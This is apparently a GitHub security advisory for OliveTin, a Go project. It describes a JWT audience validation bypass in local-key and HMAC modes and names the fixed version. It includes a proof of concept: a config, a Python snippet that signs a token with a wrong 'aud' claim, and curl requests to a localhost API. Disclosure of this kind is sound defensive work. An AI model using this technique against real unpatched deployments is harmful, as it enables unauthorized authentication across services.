GHSA-g962-2j28-3cg9
OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/OliveTin/OliveTin | < 0.0.0-20260304231339-e97d8ecbd8d6 | 0.0.0-20260304231339-e97d8ecbd8d6 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
When JWT authentication is configured using either:
- `authJwtPubKeyPath` (local RSA public key), or
- `authJwtHmacSecret` (HMAC secret),
the configured audience value (`authJwtAud`) is not enforced during token parsing.
As a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication.
This allows authentication using tokens intended for a different audience/service.
### Details
**Affected Code**
File: `jwt.go`
Lines: 51–59, 144–157, 161–168
**Current Behavior**
Remote JWKS Mode (Correct):
```go
return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))
```
Audience validation is enforced.
Local Public Key Mode (Vulnerable):
```go
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
```
No `jwt.WithAudience()` option is provided.
HMAC Mode (Vulnerable):
```go
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
```
No `jwt.WithAudience()` option is provided.
**Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted.
### PoC
1. **Configure OliveTin**
Use a minimal config with JWT local key authentication:
```yaml
authJwtPubKeyPath: ./public.pem
authJwtHeader: Authorization
authJwtClaimUsername: sub
authJwtAud: expected-audience
authRequireGuestsToLogin: true
```
2. **Generate a Wrong-Audience Token**
```python
python3 - <<EOF
import jwt, datetime
with open("private.pem") as f:
key = f.read()
token = jwt.encode(
{
"sub": "low",
"aud": "wrong-audience", # intentionally wrong
"exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
},
key,
algorithm="RS256"
)
print(token)
EOF
```
This prints the `$WRONG_AUD_TOKEN`.
3. **Test Without Token (Baseline)**
```bash
curl -i -X POST http://localhost:1337/api/WhoAmI \
-H 'Content-Type: application/json' \
-d '{}'
```
Expected response:
```
HTTP/1.1 401 Unauthorized
```
4. **Test With Wrong-Audience Token**
```bash
curl -i -X POST http://localhost:1337/api/WhoAmI \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $WRONG_AUD_TOKEN" \
-d '{}'
```
Expected response:
```
HTTP/1.1 200 OK
{"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}
```
Authentication succeeds even though the `aud` claim is incorrect.
### Impact
An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.
This enables:
- Cross-service token reuse
- Authentication using tokens issued for other systems
- Trust boundary violation in multi-service environments
This is particularly severe when:
- OliveTin is deployed behind a centralized SSO provider
- The same signing key is reused across services
- Audience restrictions are relied upon for service isolation
This does **not** bypass ACL authorization.
It is strictly an authentication validation flaw.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-g962-2j28-3cg9
- https://nvd.nist.gov/vuln/detail/CVE-2026-30223
- https://github.com/OliveTin/OliveTin/commit/e97d8ecbd8d6ba468c418ca496fcd18f78131233
- https://github.com/OliveTin/OliveTin
- https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1